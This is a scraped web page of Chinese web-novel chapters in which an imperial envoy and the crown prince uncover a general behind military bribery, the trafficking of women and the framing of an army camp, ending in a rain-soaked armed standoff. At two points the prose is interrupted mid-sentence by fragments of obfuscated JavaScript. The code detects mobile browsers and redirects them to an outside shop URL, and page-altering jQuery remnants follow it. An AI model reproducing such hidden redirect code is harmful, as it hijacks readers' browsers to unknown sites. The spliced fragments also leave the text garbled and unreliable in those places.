“孔阳之死。”崔鲲深吸口气,“孔阳绝非畏罪自裁,很可能是为了保他的上峰不得已而死。但从现在看来,许仲纪是受孔阳要挟,为其隐瞒贪贿之事。他被孔阳拿捏把柄,绝不可能是指使孔阳的人。但现在,我们查到的元凶只有许仲纪一人。” “这个连孔阳都能压一头的上峰,到底是谁?” 金明非浑身一震,“相公的意思是……细柳营为人做替罪之羊?” 崔鲲沉声道:“替罪之羊不至于,但真正的元凶,尚未落网。” 她抚摸官印,沉默片刻,问:“左卫还有多少人?” 金明非道:“还有五百人。” 崔鲲颔首,“金将军,你调令部众,立即赶回瑶州,就说是奉我军令运输贿资充公。” 金明非应声,问:“末将这就整兵,请相公手令。” 崔鲲笑道:“没有手令。” 金明非讶然,“但没有手令,又没有其他统领在场……末将就算私自调兵,不合规矩。” “要的就是将军这个‘私自’。”崔鲲眼中光芒一亮,“还请将军配合,和我唱一出好戏。” 67. 第 67 章 崔鲲来瑶后,路有方便协助左卫查封藏贿地点、清点数目,态度勤恳,颇有将功折罪之态。 无数箱子从库中抬出来,打开的一瞬光芒四射,宝气珠光,尤胜春光。瑶州公员满头大汗,气不敢出,还是路有方提醒道:“大伙别愣了,赶紧登记造册,留待黜置大使处置吧。” 一院之中,无数狼毫蘸墨,在风吹杨叶的声响中沙沙而动。路有方誊录珠宝条目,整整写了半个册子,从晨阳初露撰到艳阳高照,不过写了五口箱子而已。他搁下笔,转动手腕松快,突然听到府院外传来的马蹄奔跑声。 路有方抬头望去,见左卫将军金明非手挽缰绳,扬声叫道:“奉崔相公之命,立即清点贿资,由我等运输回京充公。” 瑶州官员皆是一愣,还是路有方起身,向他一揖,道:“下官等不敢违令,只是款项尚未登记完毕,能否请将军宽限几日?” 金明非似笑非笑,“路长史,崔相公代天巡察各州,这‘代天’二字是什么意思?” 路有方道:“各州事务,相公俱可代替陛下全权处置。” 金明非道:“这就是了,相公一语,在瑶州地界说是圣旨也不为过。路长史,你还要率众抗旨不成?” 路有方忙笑道:“将军这是哪里话,相公有命,我等遵命便是。还要劳烦将军,请出相公手令一观。” 金明非问:“怎么,路长史是信不过本将军吗?” 路有方忙道:“在下不敢,只是依律行事。” 金明非哈哈笑道:“好一个依律——长史追随孔阳多年,是怎么依律行事的?” 路有方吃了一惊,更不敢言语。金明非跳下马背,军靴溅起尘土,大步向他走来。 路有方忙躬身,被金明非揽住脖颈,听他耳语:“长史是聪明人,没造好的册子,多些东西少些东西,还真能一一核对不成?” 他这是要假借崔鲲之名,私吞贿资? 查贪之人,竟是新贪! 路有方忙道:“将军恕罪,如此大事,在下人微言轻,实在做不了主。” 金明非拍拍他肩膀,笑道:“也不劳动诸位什么,只要做个盲瞽之人,我保管平安无事,不然……” 他抽出腰剑,日光下,剑光雪亮阴森。 金明非道:“如果我上奏瑶州公员借清点府库之机再次贪贿,路长史,你觉得崔相公是信你,还是信我?” 路有方冷汗之流,“不知将军要下官做什么?” “好说。”金明非还剑于鞘,“咱们这位相公心细,账目都要亲自过目。但到底年轻,不如长史经验老到。如果长史有心,崔相公慧眼如炬,只怕也烧不穿这一本账簿。” 这是要他帮做假账。 路有方喘动粗气,半晌,低声道:“愿从将军驱遣,但望将军……保全州府上下无虞。” 金明非哈哈笑起来:“好说。长史快人快语,在下自当尽心尽力。但路长史,别想做什么多余的手脚。咱们这些兄弟俱是粗人,不会看账,只会杀人。” 路有方深深一躬,“下官明白,请将军放心。” *** 四日之后,金明非率队离瑶,同时押走数十口金银珠宝。 同时,传来黜置大使崔鲲回京的消息。 路有方等了足足半个月,仍没等到崔鲲发作。 似乎真的被糊弄过去。 路有方白日闭户,案上一盏热茶放冷,仍举棋不定。 金明非是左卫出身,又奉旨护卫崔鲲,如今监守自盗,难保不是崔鲲愿者上钩的钓鱼之举。但如果他真的心怀鬼胎呢? 水至清则无鱼,普天之下,真正的清官又有几人? 拥护天子的左卫将军贪贿,又是个至关重要的变局。 局面扑朔迷离,究竟是巧设圈套还是大奸似忠,路有方不敢判断。这也不是他自己能拿主意的事。 路有方踱步片刻,突然脚步一顿,深吸口气,转身走向桌案铺开纸笺,在砚旁舔墨提笔。 *** 春夜虫鸣不绝,透过绿纱窗,吹得书页微微一动。瑶州一处新租赁的院落里,崔鲲穿一件寻常青袍,将手中卷宗压过一页。 门被推开,便装打扮的金明非走进来,对崔鲲抱拳,“相公,有动静了。” 崔鲲合卷抬头,听金明非回禀:“路有方昨日递出书信一封,走的是飞鸽。” 有了进展应当是好事,金明非却毫无欣喜之色。 崔鲲疑惑道:“信没有截到?” “截是截到了,但……”金明非面露难色,从怀中取出一封信,双手交给崔鲲,“请相公过目。” 一只空白信封。 崔鲲抽出信笺,在看到第一眼后猛地抬头。 她不可置信:“他写给太子?” “是,路有方信中所言,请东宫作出指示。”金明非咬牙切齿,“往殿下头上泼脏水,狗胆包天的贼子!” 在他眼中,崔鲲调整呼吸,缓缓坐回椅中,许久未语。 金明非以为她心生猜忌,忙道:“相公,卑职看这路有方是乱咬一气,头尾不顾了!若殿下才是元凶,难道是他自己做出玉陷园的圈套坑害自己吗?污蔑储君何等重罪,卑职请相公钧令,当即拷问路有方,不信撬不开他的嘴!” “如此看来,路有方不仅和孔阳沆瀣一气,更是元凶放在孔阳身边的眼线。”崔鲲缓声道,“将军有没有想过,以他之城府,为什么要撒这样漏洞百出的谎话,除了坐实他参与贪墨甚至构陷储君的罪名外,有什么益处?” 金明非一愣。 崔鲲道:“我们按他的思路想想——如果我拿到这封信,会相信其中内容吗?接下来,我要做什么?” 金明非道:“提审路有方——他想要相公再次审问他?” 崔鲲道:“不,如果我再次审问,他只能往太子身上招供。东宫贪墨听上去会中伤殿下,但有玉陷园一事在,这样的举发只能变成一则笑料。” 金明非糊涂了,“那他大费周章,到底想干嘛?” “路有方作为元凶棋子,所作所为都是为给上峰效力。他先前按兵不动,是为了继续潜藏,一方面保全自身,一方面也避免上峰暴露。但如今他动了。” 崔鲲问:“将军,一个暗线不惜暴露自己突然动作,是为了什么?” 金明非道:“传递消息。” “对,传递消息。”崔鲲眼中精光一闪,“有时候传递消息不一定是书信内容,而是‘传出书信’这个举动。我猜想,他是想让他的上峰知道,我们已经对许仲纪的元凶身份生疑了。” 金明非皱眉:“但信也是送到殿下那里,他上峰也没法知道啊?” 这才是最要紧的一点,也是崔鲲想不明白的一点。 她沉思良久,说:“叫人盯紧路有方,不要打草惊蛇……或许我们可以从另一件事入手。” “相公的意思是……” 崔鲲看向他,“金将军,许仲纪这个‘元凶’身份板上钉钉,和瑶州可是脱不开关系。” 金明非会意,“相公是指,当年细柳营和瑶州闹出的命案?” “既然许仲纪不是元凶,那这件事,很可能是有人做下的圈套,让他不得不跟上贼船。”崔鲲笑了笑,“将军刚刚扮过贪官,劳烦带再麾下冒犯国法,做一回‘杀人灭口’的勾当了。” *** 瑶州地界,突然发生三桩疑案。 民户葛天赐出门打酒,失踪三日;民户赖阿鱼外出买布,失踪两日;民户耿初明上街赶集,失踪一日。 这三人毫无交际,职业各不相同,如果非要说,都曾是瑶州有名的流氓地痞。但六七年前,这几人如获横财,实实在在挥霍了几年。 除此之外,这三桩失踪案似乎毫无关联。 但一个叫伍铁柱的民户却战战兢兢。 他预感自己死期将至。 耿初明失踪消息传来后,伍铁柱足不出户,关窗锁门,手持菜刀躲在床下。白天悠悠过去,似乎平安无事。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16566410|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 直至夜幕降临。 伍铁柱在自己的呼吸声外,听到喀嚓一声。 是窗户外发出的声音。 他手中菜刀剧烈颤抖,紧接着吱呀一响,窗户被从外破开。随即,他看到一双脚落在他面前。 那双脚所穿,正是折冲府武装的军靴。 伍铁柱张大嘴巴,惊叫声还没冲出喉咙时,一条手臂歘然伸向床底,拧掉那把菜刀的同时把他提溜出来。他也就看清那个不速之客的形容,与他猜测一般无二。 一身官兵服色,腰佩长剑,面色冰冷。 伍铁柱连声叫道:“官爷,好官爷,小人当年尽心尽力,这些年也一直守口如瓶,半个字没往外泄露出去!求官爷高抬贵手饶小人一命吧!” “时移世易。”那军官说,“黜置大使生疑,已经查到上官头上来了。” 伍铁柱惊惧之时,一只手已掐住他脖子,“现在只能借你一命,来堵他的口了。” 那只手掌犹如铁掌,钳得伍铁柱脸色紫涨,即将窒息时,他听到破门而入的声音。一群左卫将军蜂拥而入,乒乒砰砰几声刀剑交接,前来杀他的军官已被制伏。 伍铁柱倒在地上大声呛咳着,等眼中金星散去,看到一双官靴之上,大红官袍衣摆翩然。 崔鲲脸色沉静,蹲在面前盯住他,“你们当年奉命挑衅细柳营,是为上峰做事。如今三日之内一连三人失踪,今天又是你,你的主使已经在杀人灭口了。” “伍铁柱,你的身家性命,就在你自己手里。” 伍铁柱大口喘气,一双手紧紧抓住她的官袍,连声叫道:“我说,我全都说!求相公救命,小人当年全是被逼无奈啊!” *** 伍铁柱是瑶州有名的老赖,酗酒赌钱,招摇撞骗。奉皇七年正月,他接到了一桩奇特的差事。 有人聚齐六名瑶州地痞,要他们去潮州怀化将军庙,刮娶崔清金身的金箔。 “那人说……如果细柳营前来阻拦,更要大声叫骂,且要骂到崔将军头上,激他们和我们动手。”伍铁柱回忆道。 崔鲲颔首,“激怒细柳营,殴打平民发生命案。但如果细柳营手中有数,没有杀人呢?” “一定会有命案。”伍铁柱吞咽一下,“死的那两个……来之前,单独被赏了两盅酒,据说还是御酒。咱们羡慕得不行,结果撕打起来,他们就……” 崔鲲吸一口气,“命案落定,再指使你们连同其家人去瑶州州府闹大。” 伍铁柱点点头,忙道:“相公,小人实在是迫不得已,他们拿刀逼着我,我不干不成啊!” 崔鲲冷笑一声:“像今晚这样逼你吗?” 伍铁柱连连磕头,“相公救命,小人都是受人指使,但只为赚点小钱,从未干过什么伤天害理之事啊!” 崔鲲不愿同他掰扯,直截道:“指使你的人,是谁?” 伍铁柱面有难色,“小人实在不知,当时找我们的穿着便衣,但瞧那做派,像是官府的人。” “官府的人。”崔鲲沉吟,“他说话做事,形貌体格,是文气绉绉,还是更像武人?” 伍铁柱思索,“块头不小,像个行伍里的。” 此事太过阴私,主使者派遣之人必为腹心。 也就是说,主使的亲信是军人。 伍铁柱下一句话更是犹如闪电:“且小人听那口音……像潮州人氏。” 崔鲲遽然立起,“潮州人——你确定没有听错?” 伍铁柱道:“潮瑶两州相隔不远,小人如何也不会认错潮州口音。” 崔鲲如雷击顶。 怪不得路有方的信要送到萧玠那里。如今萧玠身在潮州,萧玠收到,就是潮州知道。 那封信是要送去潮州! 潮州的官人,还是军人…… 细柳营之外,驻扎潮州的军队还有谁? 崔鲲厉声喝道:“立刻检点人马,全部便衣易服,星夜赶回潮州!我立即手书一封,快马加鞭呈送陛下,要快!” 68. 第 68 章 来了潮州,萧玠没有急着离开。他对这片土地具有一种天然的好感。在这里,他认识到一个崭新的、与他记忆当中迥乎不同的父亲形象。 父亲常对他讲起潮州风物,赤衣江的胜景、三月三的春游,还有热情质朴的人民百姓。对于那些苦痛,萧恒只字未提。他右手那条蠕虫般丑陋的伤疤,萧玠幼时以为是和秦灼绑定红线的象征,直至此时他才知道,那是幸存三千人口的希望和死去数万人命的墓志铭。 他也想起了父亲的噩梦。 在萧玠印象中,父亲是极少梦魇的人。十岁那年,他春日发热,父亲搬去东宫居住。萧玠口干而醒,要伸手够水,在榻边摸到父亲的手臂。 异乎寻常的,父亲没有立刻惊醒。 父亲身体紧绷,眼皮下眼珠骨骨转动,却依旧双眼紧闭。他嘴中含糊不清,气息越来越急。萧玠心中害怕,试探着摇他手臂,连声叫:“阿爹,阿爹!” 不知是他的摇晃还是声音起了效用,父亲身体一绷,高叫一声:“先吃我!”猛地从榻边弹坐起来,喘了几口气,才扭头看向萧玠。 父亲双眼尚未凝神,愣愣看着他,看得萧玠有些怕。过一会,父亲把手掌合在他额头上,哑声说:“退烧了。阿爹给你煮碗馎饦……不,吃粥,吃几口我们吃药,好不好?” 萧玠鼻子抽动一下,从被中伸出两条手臂,拦腰抱住父亲。脸贴在他腹部,感觉他好瘦。 萧玠无论如何都不会想到,父亲噩梦中脱口而出的三个字,是这样毛骨悚然。 他是怎么在目睹这一切、经历这一切、亲手操办这一切之后,像个正常人一样继续活下去? 萧玠坐在梅树下,百思不解。 这时候,程忠满脸惊慌,传来消息。 许仲纪逃了。 这一下子把萧玠从梦幻世界拉回现实。他从树下立起,忙问:“怎么回事,左卫没有察觉?细柳营其他部众呢,还有没有同伙?” 程忠面色沉重,“许仲纪在军中威望颇深,左卫敬重,只上了枷,没有上镣。” 萧玠却有些不解。 许仲纪亦然束手就擒,为什么又要出逃?如此罪加一等的后果,他难道不知道? 真的是心存侥幸吗? 萧玠问:“依将军之见,许仲纪会逃往哪里?” “末将说不准,但未免不会对殿下心怀仇恨。”程忠道,“为了鹤驾安危,殿下不如即刻启程南下,到了秦公那边,多少能太平。陛下也不会为殿下的安危挂心了。” 萧玠听他提及萧恒,沉吟片刻,“好,那我明日启程。” 程忠连忙应是,瘸腿出门吩咐众人,安排好太子的行程车驾。萧玠坐回树下,一股淡淡的古怪之意漫上心头。 等他再回神,一双脚已停在面前。沈娑婆将药碗递给萧玠,道:“殿下到了吃药的时辰。” 萧玠饮尽药,道:“阿子呢?” 沈娑婆道:“见臣来,他便走了。之前有一次……他碰见过,可能怕不方便。” 见萧玠不语,沈娑婆道:“是臣的过失。” 萧玠只是摇头。 沈娑婆从他面前蹲下,再去握他的手,感觉萧玠浑身一颤,但没有抽走。 他抚摸萧玠的手背,像盘一块暖玉,轻声道:“殿下明日启程,臣明日也该走了。” 萧玠眼睫一颤,半晌,哑声道:“不走不行吗?” 沈娑婆道:“天下宴席未有不散。” 萧玠手指微动,许久,才道:“你到底为什么呀。” 沈娑婆道:“殿下如今好转,臣也该功成身退,以后……” “不是这个。”萧玠说,“你为什么……对我这么好?” 沈娑婆看着他的眼睛,那样湿润的一对雨花石。他笑了笑:“因为臣属狐狸。” 他没有多做解释,萧玠也没有追问,只道:“明日就要出发,你陪我出去走走,好不好?” 沈娑婆握了握他的手,站起来,“臣得回去收拾东西,臣替殿下叫阿子吧。” 萧玠拉住他,道:“我想去看看黛娘,阿子胆子小。” 沈娑婆默然片刻,道:“看完,就回来。” 萧玠点点头。 沈娑婆松开他,走到院外,嘱咐人去套车马,太子准备出行了。 *** 黛娘的坟挨着月娥,像被掳走的那些日夜,她一直缩在月娥肩膀后。 萧玠从月娥爹手中接过线香,给两个女孩各上三炷,望着那缕缕青烟,道:“许仲纪业已伏法,你们在天之灵,望能安息。” 他起身,听得月娥爹重重叹口气。 这个不过四十余岁的男人,一夕之间如同一只脚迈进花甲之年。萧玠搀住他颤抖的手臂,轻声问:“老伯,怎么了?” 月娥爹摇摇头,“咱们怎么也没想到,姓许的是这种人啊!” 萧玠想起一事,问:“依老伯看,这几年以来,细柳营作风如何,许仲纪行事如何?” “这才是咱们最纳闷的地方。细柳营从潮州驻扎了二十多年,待人待事和和气气,这几年过得更苦,去年暴雨姓许的还带人抢修栈桥,大家伙请他们入村避雨吃些热食,他都坚决不让,细柳营全体躲去破庙、吃自己随身带的干粮。那么大的雨,饼子都泡灢了。村里不过意,合伙给他们送粥送肉,许仲纪也是严令不许收受。我当时也在,看那些士兵穿的衣裳……还有的打着补丁。许仲纪那样高的官职,还是出身高门,穿戴也没什么出挑。” 月娥爹颤声道:“郎君,若非审到最后,说他们干下这等丧尽天良之事,咱们死也不信的!” 萧玠疑惑道:“老伯,细柳营果真行事简朴?” 月娥爹道:“我眼瞧着,很是自苦。” “怎么说?” “当年六哥在,也常帮咱们补屋种地,送饭便和大伙一块吃,这才亲热。许仲纪却一口也不许吃,再大的雨也不让手下进村躲避,这……这不大合情理。” 萧玠心中疑云更甚。 细柳营参与掳贩妇女,目的不过一个贪贿。既然贪贿,当有巨财。但细柳营不仅没有奢靡,甚至显得穷酸,他们把贪来的钱都花在哪里? 少钱是实际,自苦更是心理。若是穷凶极恶,何以自苦如此?既然自苦如此,为何还要屡屡犯罪? 这太不对劲。 萧玠问月娥爹:“老伯,除了手心的刻痕,黛娘死前还有没有留下什么东西?” 月娥爹想了想,“没什么异样……女娃有些寻常吃穿,郎君若觉得有用,不如来瞧瞧。” *** 黛娘生前住月娥的房间,房中挂两席绣帘,帘是粗布,但绣纹精细,想必是女孩亲手所制。窗下有一张小桌,桌上放一些女孩子玩艺,还有几朵棉线搓成的绒花。 月娥爹打开柜子,“黛娘的东西都在这里了。” 萧玠翻看一遍,没察觉什么异样,问:“衣物也是您老两口替她置办的吗?” 月娥爹赧然:“月娥给拐走后,家里四处奔波,积蓄花尽了,就委屈孩子穿的月娥的旧衣裳。” 萧玠心中一动,问:“老伯,月娥……是在路上没的,还是回家之后……” 月娥爹哽咽道:“路上就没了……他们说我还不信,只以为孩子病得厉害,上去一摸,手都冷了……” 萧玠问:“那她有没有带回来的东西,当时穿的衣裳,戴的首饰?” 月娥爹擦擦脸,从柜旁抱出衣物,道:“只剩这些,下葬前她娘替她换下来的。” 萧玠瞧了瞧那些女孩衣衫,道:“老伯,我冒犯了,这些衣裙……我能不能检查一遍?” “郎君翻看就是。” 萧玠得了准许,将衣物仔仔细细翻检一遍,没什么特别。 他将衣衫放下,看到下方一块兜肚,手指一僵,本想略去,心想已至此处,还是拿起来。探手一摸,摸到鼓囊囊一个东西。 这件兜肚里有个暗袋。 他借来剪刀,将暗袋剪开,倒出一只雕刻花纹的硬块。 一旁沈娑婆气息一紧:“这是……带銙?” “是犀角带銙。”萧玠说,“按我朝规制,这是三品下六品上的取用。” 沈娑婆皱眉,“月娥叫人掳走,哪来的这东西?除非……” 萧玠看向他。 这是她那夜所“服侍”的“高官”的随身之物。 萧玠呼吸加紧。 月娥为什么死在中途? ——因为她见过买主的脸。 那她为什么死在回乡……或者说,回到潮州的中途? 原本的推测没有错,那人在潮州。 在潮州,三品下六品上的高官除了许仲纪,还有谁? 不久前的夜晚,他搀扶起程忠,看到他腰间革带上孔眼的凹痕。 将军的带銙怎么掉了一个? …… 月娥坟旁,他初见黛娘,黛娘目光闪过他身后方向,龇牙咧嘴地将他推开。 萧玠跌在地上,细柳营卫队快步冲上前。 奔跑而上的步伐后,是一双一瘸一拐的军靴。 …… 她手心刻下的“六”,的确是指萧恒麾下。 但不是许仲纪。 萧玠如雷击顶。 是程忠。 ***35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16566411|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 程忠坐在桌前倒酒,一股浓郁的葡萄馨香氤氲。 他放下酒壶,把那只白玉酒杯推到对面。片刻后,酒杯被人拿起,那是一只微皴生茧的手。 程忠笑道:“许帅宁冒大险赶来见我,究竟所为何事?” 许仲纪放下酒杯,久未剔须,下巴胡茬发青。他脸上难掩憔悴之态,问:“我听太子卫说,你借口为殿下演兵,把在外训练的潮州营全部调了回来。” 萧恒为杜绝地方拥兵,州府独立,折冲府受十二卫调统。今年年初萧恒再次改革军制,将三大营每一营的据地一分为四,以防地方拥兵割据。如今程忠调兵,显然会上达天听,他却毫无忌惮。 程忠笑道:“将军深陷囹圄,却耳目聪明。” 许仲纪低声道:“陛下信重你,才将潮州交付在你兄弟手里。老程,不要辜负陛下的信任。” 程忠哈哈笑道:“陛下信我吗?如果信我,我时至今日会是一个区区五品万骑将军?仲纪,潮州营的主帅可是你,一个地地道道的外州人!” 许仲纪颓然道:“我罪孽滔天,命不久矣了,程将军,你马上就是潮州真正的统帅了。这几年,不一直如此吗?” 他声音微微颤抖:“自从我袒护崔百斗的那一刻起,我手持军印,却是你的麾下。这么多年的龌龊之事,你没有脏手,潮州营置身事外,全是细柳营背这血债!丧尽天良,罪有应得,是车裂还是凌迟,我绝无二话。只是程忠,这件事已经了了,你如今囤兵,意欲何为?” 程忠给自己倒一杯酒,酒液倾泻,如同鲜血。他说:“崔鲲没有回京。” “当年叫你们细柳营殴打的瑶州民户有六人,打死两个,活着四个,其中三个在这几日离奇失踪。而且这一段,孔阳没有来信。”程忠冷笑一声,“小子诡计多端,只怕已经生疑。还有……” “还有什么?” “我看太子也生了疑心。” 程忠道:“我的眼线来报,太子已经派东宫卫追查细柳营的军械交接,只怕不久就能查到我头上,我堂弟名下那家军械作坊已经给禁卫围了!许帅,我不早做打算,等着坐以待毙吗?” “买卖妇女你不怕,军械贪污你不怕,你现在怕了!”许仲纪沉声道,“老程,你当年追随陛下劳苦功高,若主动投案,未必……” “老子是伸脖子等人砍的孬种?”程忠举起酒杯一饮而尽,“这是咱们的地盘,等潮州营集合完毕,谁是鱼谁是网,尚是未知之数!” 许仲纪浑身一抖,“你的意思是……” “押解进京是死,不如谋条生路。”程忠道,“若拿太子在手,崔鲲敢不敢妄动?他若强攻……别怪咱们一不做,二不休!” “你疯了!”许仲纪霍地起身,“这是储君,是咱们将军的儿子,将军只有这一个儿子!” 程忠也勃然起身,残腿支着身体剧烈一晃,他叫道:“我早就疯了!当年锦水鸳那一炸,活活炸坏了我一条腿,老子他妈的什么狗屁将军,就是个残废!要不是今上色令智昏上了白鹤山的套,老子能成现在这半死不活的样子?许帅,我想干这等丧尽天良的事?还不是今上要搞什么火器革新,连硝石矿都要收成国有,断了老子的财路,我那么一大家子要养!他是男女不禁左拥右抱了,结果呢,对咱们兄弟三令五申,还搞什么禁止纳妾废除娼馆的名堂,连个小老婆都不让娶啊!我不欠他,是他欠我!” 许仲纪喝道:“玉陷园一事还不够?那事之后太子险些活不下去,你还把秦公的事捅了出来……太子都成了什么样子,你还要怎样?” “是我操的他吗?”程忠冷冷道,“太子就此收手也罢,他若不识好歹,那就父债子还!” 许仲纪两颊肌肉剧烈颤抖,他瞪视程忠片刻,转身要走。 程忠冷冷叫道:“许将军,这么着急要去哪里?” 许仲纪不答,双臂推开门。门外,夜色深沉,已落雨声。 他一只脚跨出门槛,程忠的声音在背后阴恻恻传来:“别忘了,崔怀化的母亲杨氏可是在瓶州养老。我的亲家就是瓶州人。” 许仲纪转过了头。 程忠哈哈笑起来:“许帅,儿女情长还是英雄气短,你自己选吧。” 许仲纪那只脚没迈回来,也没迈出去,他痛恨、仇视地逼视程忠。 程忠端起他那只未吃一口的酒杯,和自己的一碰。 门外夜雨越下越大,哗哗作响的冲刷声里,脚步声冲向门前。 程义丢开伞,半身官袍被雨湿透,他面露急色,对程忠叫道:“哨岗来报,有一队人马连夜入城,如何也有数百。还有,太子连夜集合东宫卫率,要往州府来了!” 69. 第 69 章 夜雨如同瓢泼。 一滚滚白辣辣的雨团打落,在铁盔和刀剑上响起战斗之声。闪电划过,夜色乍明乍灭的缝隙里,露出铜墙铁壁的东宫卫队,和对面寸步不让的潮州府兵。 程忠走出府门,瘸腿拖着,像拉着一副断拐。他冲阶下笑道:“殿下,这是什么意思?” 太子卫簇拥下,萧玠头戴雨笠,披一件很有年岁的海龙皮大氅,雨中显得脸色更加冷白。他声音平静:“许仲纪潜逃,本宫率兵缉拿凶犯。” 程义忙上前拱手,“误会,殿下,全是误会。” 萧玠道:“持械谒见东宫,等同谋逆。使君不想叫我误会,就不该做出拥兵自重之事,更不该派人杀掉黛娘,抹去人证。” 程义再要开口,被程忠握住手臂。程忠笑道:“殿下这话,末将倒听糊涂了。黛娘之死实为细柳营所为,拐贩妇女也是细柳营参与,这与我潮州营上下毫不相干啊。” 萧玠道:“是细柳营所为不假,但细柳营上下到底为谁做事?” “细柳营的主帅可是许仲纪。”程忠道,“这些都是怀化将军的部下,末将也没有驱遣他们的本事。” “但将军有驱遣许仲纪的本事。”萧玠道,“奉皇七年,细柳营与六名瑶州民众冲突,殴杀其中两人,这桩案子由瑶州刺史孔阳按下不提。许仲纪专门走一趟瑶州,在明月楼与孔阳商议此事。” “明月楼的宴席上,不只他们两个,不是吗?” 程忠眉毛微耸,听萧玠继续道:“今上亲信,从龙之功,多么煊赫的威望和名头。为此,孔阳听命于你,甚至忍受路有方作为你的眼线安插身边,只为从你手指头缝里分一杯羹。但潮州与陛下渊源太深,太过招眼,你便将所得贿款尽数寄存瑶州。之所以要拉上许仲纪,我想是因为你的行径被他识破了——” 程忠皮笑肉不笑:“殿下别忒瞧低人,末将贪是罪大恶极,他许仲纪就是逼不得已?” 萧玠笑道:“你承认了。” 程忠脸部肌肉抽搐一下,呵呵笑道:“不愧是秦公的儿子,好伶俐的口齿。” 萧玠脸色有瞬间的异样,但那神情闪过,如同电光般不可捕捉。他继续道:“崔百斗怕许仲纪再度落网后被就地正法,交给我最新的供词,声明一切行径为你指使。当年陛下派潮州营查封小秦淮,你见妇女交易和信息传递的路径发达,生了别念。于是阳奉阴违、监守自盗,向陛下奏明清除完毕,暗自将鬻女勾当吞入囊中!” 他微微喘口气:“但这件事,被许仲纪发现了。” 程忠眼中阴翳渐浓,表情却无变化,听萧玠道:“如此罪恶行径,许仲纪一定会向陛下举发。所以你想到一条毒计,将他也拖下水。但许仲纪出身高门,荣华利禄不能动之,他的软肋只有一个,怀化崔将军。” 隔着雨幕,程忠神情有些模糊。萧玠继续道:“细柳营是崔将军的遗物,杨夫人是崔将军的寡母,拿住这二者,你就把许仲纪紧紧捏在手里。他不仅是你的行凶之刀,更是你的替罪之羊。” 程忠笑一声:“殿下这样言之凿凿,可有证据?细柳营是许仲纪麾下,为了给他脱罪,嫁祸栽赃,未尝不能。” 萧玠看着他,“路有方手中,有另一本账簿。” 程忠呼吸一紧,眼色彻底暗沉下来。 “他到底沉不住气,趁守备松懈想要自行焚毁,被黜置大使拿在当场。”萧玠道,“不只如此,你堂弟折断一条手臂后,军械贪污的事也全都招了。你把两个军营的军械制造交给他,由他替你牟利,榨取人费工费,还敢在工序流程上舞弊造假。他签字画押的文书和瑶州的账簿原件已经快马送往京师。程忠,人证物证俱在,你还有什么话说?” “末将无话可说。”程忠笑笑,“请问殿下,定了我的罪,许帅就能脱罪吗?” “国有国法,自然不能。” “那按照国法,当如何处置?” “最轻褫夺官爵,流三千里。” “最重呢?” “最重当是以命抵命!”萧玠脸上终于浮现怒色,“关天人命,在你们眼中,就等同儿戏吗?” 程忠道:“那细柳营还能留下来吗?” 萧玠轻轻出一口气,“陛下信重尔等,另开恩旨不曾改组细柳营。尔等却欺上瞒下,行此悖逆残暴之举。程将军,能不能保细柳营,你有没有问过被你们残害的妇女和百姓?” 程忠哈哈笑起来,扬声道:“许帅,你可听见了!” 许仲纪从门后走出来,面无表情,如同行尸。 萧玠看着这两个人,他父亲的臂膀和股肱。父亲将腹背和重镇交给他们,他们却靠着父亲的大旗逞此野兽之行。 一股股热辣辣的水流冲刷眼眶,被雨打落,化作冰冷。萧玠心中一大团热气几近爆裂,他多么想大喊一声,不值! 不值得爱护,不值得倚重,不值得信任。但如果连自己的老部下都不能信任,朝堂之上衮衮诸公,父亲又能信哪一个? 老师没了,裴玉清死了,梅伯父走了。这么多年来只有一个杨峥,也因诬陷困顿京中。 还有他破碎的家庭,早折的妹妹,远走的那个人。 孤家寡人,众叛亲离。 原来一直以来,这才是萧恒。 许仲纪迈下台阶,站在雨中,顷刻衣衫尽湿,如同血人。 他从腰中拔出长剑,剑锋光芒闪动。尉迟松大喝一声:“许仲纪,再往前一步就是谋逆犯上,当诛九族!你多年功劳,陛下说不定会网开一面,但伤了殿下分毫,你这颗人头还能保吗!” 程忠叫道:“老许,想想杨氏夫人,想想崔将军的托付!” 他这句话像给许仲纪上了弦,许仲纪手中剑光颤抖,五官扭曲成一团。在他起势的前一刻尉迟松呼吸一紧,却见许仲纪猱身一拧,一剑向程忠刺去! 程忠虽未预料,但到底多年征战,闪身一避长刀一振,将剑锋格在喉前。 金石撞击的倒戈之声是进攻的号角,几乎同时,尉迟松手臂一振,太子六率和潮州营杀作一团。 程忠厉声喝道:“你他妈想清楚!就算你现在帮了这小子,陛下能放过你、放过细柳营吗!” 许仲纪叫道:“罪有应得,何须放过!” 一股股鲜血迸溅,一声声低叫连天。刀光血光刺穿雨夜,这一刻对萧玠的冲击超越他从前遭遇的一切。他的卫队和他父亲一手带出的亲军厮杀,何异于骨肉相残! 不能这样,不应该这样,怎么会这样? 萧玠想制止,但制止谁?明明他才是勒令“剿逆”的人。这样轻飘飘两个字,便由上千条人命堆积而成。 他无法为程忠伤痛,却不能不为人命伤痛。 他无法替恶贼怜悯,却不能不怜悯这片苦难的土地。 刀剑入肉声外,远远有马蹄声传来。哨兵高声叫道:“大将军,崔鲲带来五百余人,正在城外与卫队交战!” 程忠格开许仲纪一剑,恨声道:“好,吩咐外围立即行动!崔家小儿想瓮中捉鳖,看看谁才是俎上鱼肉!” 尉迟松快刀一挽,扬声喝道:“保卫殿下退入屋中,务必剿除逆贼!” 